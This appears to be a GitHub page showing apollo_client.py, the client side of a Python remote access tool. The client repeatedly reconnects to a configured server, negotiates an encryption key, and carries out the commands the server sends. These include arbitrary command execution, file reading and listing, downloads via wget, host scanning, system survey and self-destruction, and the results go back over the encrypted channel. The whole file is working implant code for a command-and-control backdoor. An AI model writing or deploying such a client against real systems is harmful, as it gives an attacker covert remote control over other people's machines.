-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathapollo_client.py
More file actions
109 lines (77 loc) · 2.36 KB
/
apollo_client.py
File metadata and controls
109 lines (77 loc) · 2.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python
import socket
import sys
import time
from modules import *
# Change the below details to point to your Apollo server instance
HOST = 'localhost'
PORT = 34463
# seconds to wait before client will attempt to reconnect
CONN_TIMEOUT = 30
# determine system platform
if sys.platform.startswith('win'):
PLAT = 'win'
elif sys.platform.startswith('linux'):
PLAT = 'nix'
elif sys.platform.startswith('darwin'):
PLAT = 'mac'
elif sys.platform.startswith('freebsd'):
PLAT = 'freebsd'
else:
print 'This platform is not supported.'
sys.exit(1)
def client_loop(conn, dhkey):
while True:
results = ''
# Wait to receive data from server
data = crypto.decrypt(conn.recv(4096), dhkey)
# Seperate data into command and action
cmd, _, action = data.partition(' ')
if cmd == 'kill':
conn.close()
return 1
elif cmd == 'destroy':
conn.close()
toolkit.destroy(PLAT)
elif cmd == 'quit':
conn.shutdown(socket.SHUT_RDWR)
conn.close()
break
elif cmd == 'scan':
results = scan.single_host(action)
elif cmd == 'survey':
results = survey.run(PLAT)
elif cmd == 'cat':
results = toolkit.cat(action)
elif cmd == 'execute':
results = toolkit.execute(action)
elif cmd == 'ls':
results = toolkit.ls(action)
elif cmd == 'pwd':
results = toolkit.pwd()
elif cmd == 'unzip':
results = toolkit.unzip(action)
elif cmd == 'wget':
results = toolkit.wget(action)
results = results.rstrip() + '\n{} completed.'.format(cmd)
conn.send(crypto.encrypt(results, dhkey))
def main():
exit_status = 0
while True:
conn = socket.socket()
try:
# Connect to Apollo server
conn.connect((HOST, PORT))
except socket.error:
time.sleep(CONN_TIMEOUT)
continue
dhkey = crypto.diffiehellman(conn)
# Function for keeping client alive if the server
# goes down unexpectedly or there is a network issue.
try:
exit_status = client_loop(conn, dhkey)
except: pass
if exit_status:
sys.exit(0)
if __name__ == '__main__':
main()